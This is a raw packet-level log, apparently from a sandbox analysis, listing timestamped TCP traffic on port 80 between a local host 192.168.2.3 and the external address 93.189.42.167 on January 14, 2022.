Jan 14, 2022 01:50:58.630346060 CET	80	49746	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.052860975 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.103255033 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.104526997 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.104614973 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.164093971 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164171934 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164211988 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164252043 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164292097 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164329052 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164328098 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.164360046 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.164367914 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.164370060 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164422035 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164459944 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164483070 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.164498091 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.164685965 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.215398073 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215451956 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215488911 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215529919 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215569973 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215580940 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.215606928 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215612888 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.215650082 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215671062 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.215691090 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215728998 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215754986 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.215766907 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215806007 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215815067 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.215845108 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215884924 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.215898037 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.216051102 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.216094017 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.216124058 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.216135979 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.216176987 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.216188908 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.216213942 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.216252089 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.216258049 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.216293097 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.216346025 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267358065 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267410040 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267452002 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267489910 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267529011 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267545938 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267568111 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267581940 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267608881 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267649889 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267664909 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267688990 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267721891 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267728090 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267769098 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267807961 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267824888 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267848969 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267887115 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267904997 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267925978 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.267961025 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.267966986 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268004894 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268043041 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268050909 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268081903 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268095970 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268120050 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268157959 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268171072 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268196106 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268234968 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268273115 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268273115 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268311977 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268348932 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268349886 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268389940 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268424034 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268428087 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268467903 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268505096 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268508911 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268544912 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268559933 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268584967 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268621922 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268660069 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268690109 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268697023 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268734932 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268773079 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268774033 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268810987 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268821955 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268851042 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268891096 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.268894911 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.268984079 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.320401907 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.320463896 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.320503950 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.320544958 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.320631027 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.320678949 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321007967 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321048021 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321088076 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321114063 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321125031 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321163893 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321203947 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321222067 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321242094 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321283102 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321320057 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321326971 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321360111 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321360111 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321410894 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321444035 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321453094 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321491957 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321530104 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321567059 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321572065 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321613073 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321623087 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321655035 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321691990 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321719885 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321747065 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321777105 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321806908 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321835041 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321835041 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321870089 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321897984 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321917057 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.321938992 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321976900 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.321990013 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322011948 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322052002 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322088957 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322091103 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322128057 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322166920 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322182894 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322201014 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322240114 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322273016 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322277069 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322284937 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322314978 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322352886 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322371006 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322391033 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322432041 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322464943 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322473049 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322510004 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322539091 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322547913 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322586060 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322638035 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322659016 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322693110 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322751045 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.322751999 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.322797060 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.370647907 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.370699883 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.370738983 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.370765924 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.370776892 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.370855093 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373214960 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373256922 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373296022 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373336077 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373337984 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373374939 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373414040 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373434067 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373456955 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373495102 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373513937 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373534918 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373539925 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373575926 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373615026 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373629093 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373653889 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373691082 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373713017 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373729944 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373769999 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373806953 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373846054 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373847961 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373861074 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373912096 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373949051 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.373961926 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.373986959 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374027014 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374042034 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374063969 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374119043 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374162912 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374175072 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374216080 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374245882 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374281883 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374315023 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374320030 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374346972 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374360085 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374362946 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374397039 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374437094 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374450922 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374475956 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374512911 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374552011 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374564886 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374588013 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374622107 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374634027 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374672890 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374707937 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374711990 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374751091 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374771118 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374790907 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374830961 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374869108 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374886036 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374907017 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374948025 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.374969959 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.374990940 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.395730972 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.421426058 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.421488047 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.421545982 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.421575069 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.421673059 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.421722889 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.425219059 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425263882 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425302029 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425338030 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425342083 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.425378084 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425416946 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425432920 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.425456047 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425494909 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425506115 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.425548077 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425553083 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.425585032 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425623894 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425632954 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.425662041 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.425712109 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.445913076 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.445966959 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446003914 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446038961 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446043015 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446084976 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446089029 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446122885 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446162939 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446171045 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446202993 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446239948 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446279049 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446285009 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446316957 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446355104 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446362019 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446393967 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446434021 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446440935 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446474075 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446512938 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446518898 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446552038 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446590900 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446609020 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446633101 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446671963 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446677923 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446711063 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446747065 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446758986 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446785927 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446788073 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446824074 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446861029 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446875095 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.446902037 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446939945 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446978092 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.446985960 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.447016954 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.447055101 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.447062016 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.447093964 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.447094917 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.447133064 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.447175980 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472062111 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472122908 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472161055 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472201109 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472234964 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472240925 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472280979 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472305059 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472320080 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472325087 CET	49749	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:50:59.472359896 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472399950 CET	80	49749	93.189.42.167	192.168.2.3
Jan 14, 2022 01:50:59.472444057 CET	80	49749	93.189.42.167	192.168.2.3
